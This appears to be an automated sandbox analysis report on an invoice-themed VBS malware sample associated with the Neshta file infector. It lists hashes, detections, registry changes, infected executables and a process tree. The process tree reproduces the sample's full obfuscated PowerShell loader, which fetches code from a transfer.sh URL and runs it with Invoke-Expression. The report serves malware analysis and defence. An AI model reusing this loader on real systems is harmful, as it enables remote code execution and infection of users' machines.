Analysis
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max time kernel
150s -
max time network
39s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
17-09-2021 18:17
Static task
static1
Behavioral task
behavioral1
Sample
2816723_Invoice_receipt.vbs
Resource
win7v20210408
Behavioral task
behavioral2
Sample
2816723_Invoice_receipt.vbs
Resource
win10-en
General
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Target
2816723_Invoice_receipt.vbs
-
Size
3KB
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MD5
eaf19e86a4dab23ea534c50700044dff
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SHA1
32fdfb387dfde6946a4ca7851500bbaffd2608c2
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SHA256
49d201c4f1d8da00165e974d19bade57ee89df4ad2bfd84fb5f6129d5ef9c840
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SHA512
6c7affea47a243db26c83ff98f7778efd0779f52721762857a0eb0c40c772ba06a9cb3478f153a53238d48e275bd79f4c6f206ebb8ad241223a4a5194ed46519
Malware Config
Extracted
https://transfer.sh/nlFGs3/bypass.txt
Signatures
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Detect Neshta Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1568-90-0x0000000000400000-0x000000000041B000-memory.dmp family_neshta behavioral1/memory/1568-91-0x00000000004080E4-mapping.dmp family_neshta behavioral1/memory/1568-93-0x0000000000400000-0x000000000041B000-memory.dmp family_neshta -
Modifies system executable filetype association 2 TTPs 1 IoCs
Processes:
aspnet_compiler.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" aspnet_compiler.exe -
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
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Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1548 powershell.exe -
Loads dropped DLL 3 IoCs
Processes:
aspnet_compiler.exepid process 1568 aspnet_compiler.exe 1568 aspnet_compiler.exe 1568 aspnet_compiler.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1548 set thread context of 1568 1548 powershell.exe aspnet_compiler.exe -
Drops file in Program Files directory 64 IoCs
Processes:
aspnet_compiler.exedescription ioc process File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~4.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~2.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\CLVIEW.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WI54FB~1\setup_wm.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmprph.exe aspnet_compiler.exe File opened for modification C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WINDOW~4\ImagingDevices.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Temp\GUMFBCB.tmp\GOFB2B~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\INTERN~1\iexplore.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WINDOW~1\wabmig.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\DISABL~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~3\PACKAG~1\{F4220~1\VC_RED~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOBD5D~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\AcroRd32.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmlaunch.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\WORDICON.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WINDOW~1\WinMail.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\WI54FB~1\WMPDMC.exe aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Google\Update\1335~1.452\GOOGLE~3.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBE_~1.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\OIS.EXE aspnet_compiler.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE aspnet_compiler.exe -
Drops file in Windows directory 1 IoCs
Processes:
aspnet_compiler.exedescription ioc process File opened for modification C:\Windows\svchost.com aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies registry class 1 IoCs
Processes:
aspnet_compiler.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" aspnet_compiler.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1548 powershell.exe 1548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1548 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 1848 wrote to memory of 1548 1848 WScript.exe powershell.exe PID 1848 wrote to memory of 1548 1848 WScript.exe powershell.exe PID 1848 wrote to memory of 1548 1848 WScript.exe powershell.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe PID 1548 wrote to memory of 1568 1548 powershell.exe aspnet_compiler.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2816723_Invoice_receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/nlFGs3/bypassH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Modifies system executable filetype association
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
PID:1568
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXEMD5
9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1ec66cda99f44b62470c6930e5afda061579cde35
SHA2568899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA5122ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156
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\PROGRA~2\Google\Temp\GUMFBCB.tmp\GOFB2B~1.EXEMD5
583ff3367e050c4d62bc03516473b40a
SHA16aa1d26352b78310e711884829c35a69ed1bf0f9
SHA2566b63f8dd47d8b3baa71b6cd205d428861b96bf09cf479071e75ddd23f97c0146
SHA512e9bdd5cc2e29db48cc524488fbadb08e808f17f6e18fa595cfebae229c94f2547079e52a2ada214169577b89b2ffbef424729cd90acdea3774f5c76aec192be0
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\PROGRA~2\Google\Update\1335~1.452\GOFB2B~1.EXEMD5
583ff3367e050c4d62bc03516473b40a
SHA16aa1d26352b78310e711884829c35a69ed1bf0f9
SHA2566b63f8dd47d8b3baa71b6cd205d428861b96bf09cf479071e75ddd23f97c0146
SHA512e9bdd5cc2e29db48cc524488fbadb08e808f17f6e18fa595cfebae229c94f2547079e52a2ada214169577b89b2ffbef424729cd90acdea3774f5c76aec192be0
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memory/1548-73-0x000000001AB10000-0x000000001AB11000-memory.dmpFilesize
4KB
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memory/1548-86-0x000000001AB50000-0x000000001AB51000-memory.dmpFilesize
4KB
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memory/1548-66-0x0000000002330000-0x0000000002331000-memory.dmpFilesize
4KB
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memory/1548-67-0x000000001AB60000-0x000000001AB62000-memory.dmpFilesize
8KB
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memory/1548-68-0x000000001AB64000-0x000000001AB66000-memory.dmpFilesize
8KB
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memory/1548-69-0x000000001B490000-0x000000001B491000-memory.dmpFilesize
4KB
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memory/1548-70-0x0000000002770000-0x0000000002771000-memory.dmpFilesize
4KB
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memory/1548-61-0x0000000000000000-mapping.dmp
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memory/1548-85-0x000000001A850000-0x000000001A851000-memory.dmpFilesize
4KB
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memory/1548-65-0x0000000002470000-0x0000000002471000-memory.dmpFilesize
4KB
-
memory/1548-87-0x000000001AB6A000-0x000000001AB89000-memory.dmpFilesize
124KB
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memory/1548-88-0x000000001C170000-0x000000001C171000-memory.dmpFilesize
4KB
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memory/1548-89-0x000000001B790000-0x000000001B794000-memory.dmpFilesize
16KB
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memory/1548-63-0x0000000001DC0000-0x0000000001DC1000-memory.dmpFilesize
4KB
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memory/1548-64-0x000000001ABE0000-0x000000001ABE1000-memory.dmpFilesize
4KB
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memory/1568-92-0x00000000757C1000-0x00000000757C3000-memory.dmpFilesize
8KB
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memory/1568-93-0x0000000000400000-0x000000000041B000-memory.dmpFilesize
108KB
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memory/1568-91-0x00000000004080E4-mapping.dmp
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memory/1568-90-0x0000000000400000-0x000000000041B000-memory.dmpFilesize
108KB
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memory/1848-60-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmpFilesize
8KB